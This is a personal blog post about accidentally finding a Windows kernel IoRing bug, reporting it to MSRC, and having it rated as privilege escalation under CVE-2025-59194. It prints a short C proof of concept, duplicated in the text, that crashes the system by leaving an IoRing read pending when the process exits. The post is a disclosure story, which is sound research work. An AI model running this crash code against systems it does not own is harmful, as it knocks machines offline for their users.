June 14, 2026
A Story Behind CVE-2025-59194
Accidentally found DoS and MSRC upgraded it into LPE.
Faathin
2 min read
A Short Short Story Behind CVE-2025–59194
Special thanks to Sekolah Teknik Elektro dan Informatika — Komputasi Institut Teknologi Bandung for rejecting me in 2025.
Discovering a bug in the kernel is hard, especially if Escalation of Privilege. But what if I told you I report it to MSRC as a Denial of Service vulnerability and they confirm it as an escalation of privilege instead?
At that time, I really had no intention of bug hunting. I do like system programming, and I choose IoRing since I want to learn io_uring, but on Linux. I started from simple stuff from doing "Hello, world!" using BuildIoRingWriteFile and SubmitIoRing. I accidently discover this bug when I was trying to learn IoRingUserCompletionEvent feature.
#include <windows.h>
#include <ioringapi.h>
#include <cstdio>
int main()
{
HIORING IoRing;
IORING_CREATE_FLAGS CreateFlags = { .Required = IORING_CREATE_REQUIRED_FLAGS_NONE, .Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE };
CreateIoRing(IORING_VERSION_4, CreateFlags, 4, 8, &IoRing);
HANDLE Event = CreateEventW(nullptr, FALSE, FALSE, nullptr);
SetIoRingCompletionEvent(IoRing, Event);
BYTE Buf[255]{};
HANDLE StdIn = GetStdHandle(STD_INPUT_HANDLE);
HANDLE StdOut = GetStdHandle(STD_OUTPUT_HANDLE);
BuildIoRingReadFile(IoRing, IoRingHandleRefFromHandle(StdIn), IoRingBufferRefFromPointer(Buf), sizeof(Buf), 0, 0, IOSQE_FLAGS_NONE);
BuildIoRingWriteFile(IoRing, IoRingHandleRefFromHandle(StdOut), IoRingBufferRefFromPointer(Buf), sizeof(Buf), 0, FILE_WRITE_FLAGS_NONE, 0, IOSQE_FLAGS_NONE);
SubmitIoRing(IoRing, 0, 0, nullptr);
WaitForSingleObject(Event, INFINITE);
CloseIoRing(IoRing);
CloseHandle(Event);
}#include <windows.h>
#include <ioringapi.h>
#include <cstdio>
int main()
{
HIORING IoRing;
IORING_CREATE_FLAGS CreateFlags = { .Required = IORING_CREATE_REQUIRED_FLAGS_NONE, .Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE };
CreateIoRing(IORING_VERSION_4, CreateFlags, 4, 8, &IoRing);
HANDLE Event = CreateEventW(nullptr, FALSE, FALSE, nullptr);
SetIoRingCompletionEvent(IoRing, Event);
BYTE Buf[255]{};
HANDLE StdIn = GetStdHandle(STD_INPUT_HANDLE);
HANDLE StdOut = GetStdHandle(STD_OUTPUT_HANDLE);
BuildIoRingReadFile(IoRing, IoRingHandleRefFromHandle(StdIn), IoRingBufferRefFromPointer(Buf), sizeof(Buf), 0, 0, IOSQE_FLAGS_NONE);
BuildIoRingWriteFile(IoRing, IoRingHandleRefFromHandle(StdOut), IoRingBufferRefFromPointer(Buf), sizeof(Buf), 0, FILE_WRITE_FLAGS_NONE, 0, IOSQE_FLAGS_NONE);
SubmitIoRing(IoRing, 0, 0, nullptr);
WaitForSingleObject(Event, INFINITE);
CloseIoRing(IoRing);
CloseHandle(Event);
}When I want to examine how that feature works with simple read-write from console, I accidentally triggered a BSOD with the IRQL_NOT_LESS_OR_EQUAL error code.
!analyze -v command to analyze the memory dump
The BSOD triggered on IoCancelIrp.
The BSOD happens without me sending any inputs to the program. At first, I wondered if that CloseIoRing triggers the bug since the IoRing is still running. Reaching out to my two friends, NSG650 and meeko (go check their blog too!), while the other one said it might be a null pointer dereference, my other friend said it can be upgraded into Privilege Escalation. Since I really have no idea how this stuff works, I haven't even completed my Windows Kernel Programming course; I'll just report this to MSRC.
After further investigation, I've concluded that the bug occurs when the IoRing operation is still running, but it's not the CloseIoRing fault. The scenario happens when the operation is still running, and the process went exit. To make this possible , you need an IoRing op that will not return instantly which is only possible with IORING_OP_READ from BuildIoRingReadFile.
The final PoC code is below.
#include <windows.h>
#include <ioringapi.h>
int main()
{
HIORING IoRing;
IORING_CREATE_FLAGS CreateFlags = {.Required = IORING_CREATE_REQUIRED_FLAGS_NONE, .Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE};
CreateIoRing(IORING_VERSION_1, CreateFlags, 4, 8, &IoRing);
HANDLE StdIn = GetStdHandle(STD_INPUT_HANDLE);
BYTE buf[255];
BuildIoRingReadFile(IoRing, IoRingHandleRefFromHandle(StdIn), IoRingBufferRefFromPointer(buf), sizeof(buf), 0, 0, IOSQE_FLAGS_NONE);
SubmitIoRing(IoRing, 0, 0, nullptr);
}#include <windows.h>
#include <ioringapi.h>
int main()
{
HIORING IoRing;
IORING_CREATE_FLAGS CreateFlags = {.Required = IORING_CREATE_REQUIRED_FLAGS_NONE, .Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE};
CreateIoRing(IORING_VERSION_1, CreateFlags, 4, 8, &IoRing);
HANDLE StdIn = GetStdHandle(STD_INPUT_HANDLE);
BYTE buf[255];
BuildIoRingReadFile(IoRing, IoRingHandleRefFromHandle(StdIn), IoRingBufferRefFromPointer(buf), sizeof(buf), 0, 0, IOSQE_FLAGS_NONE);
SubmitIoRing(IoRing, 0, 0, nullptr);
}Here are my reports to the MSRC team.
At first, I would expect Denial of Service feedback from them. Turns out God had a surprise for me.
I never expected my reports would be upgraded from Denial of Service to Escalation of Privilege. My bounty is upgraded from 500$ to 5000$!.
One week before the patch was released, they told me that I will be acknowledged on CVE-2025–59194 :).
Well, that's it! Sorry if you expect something much better ;-;). Until we meet again…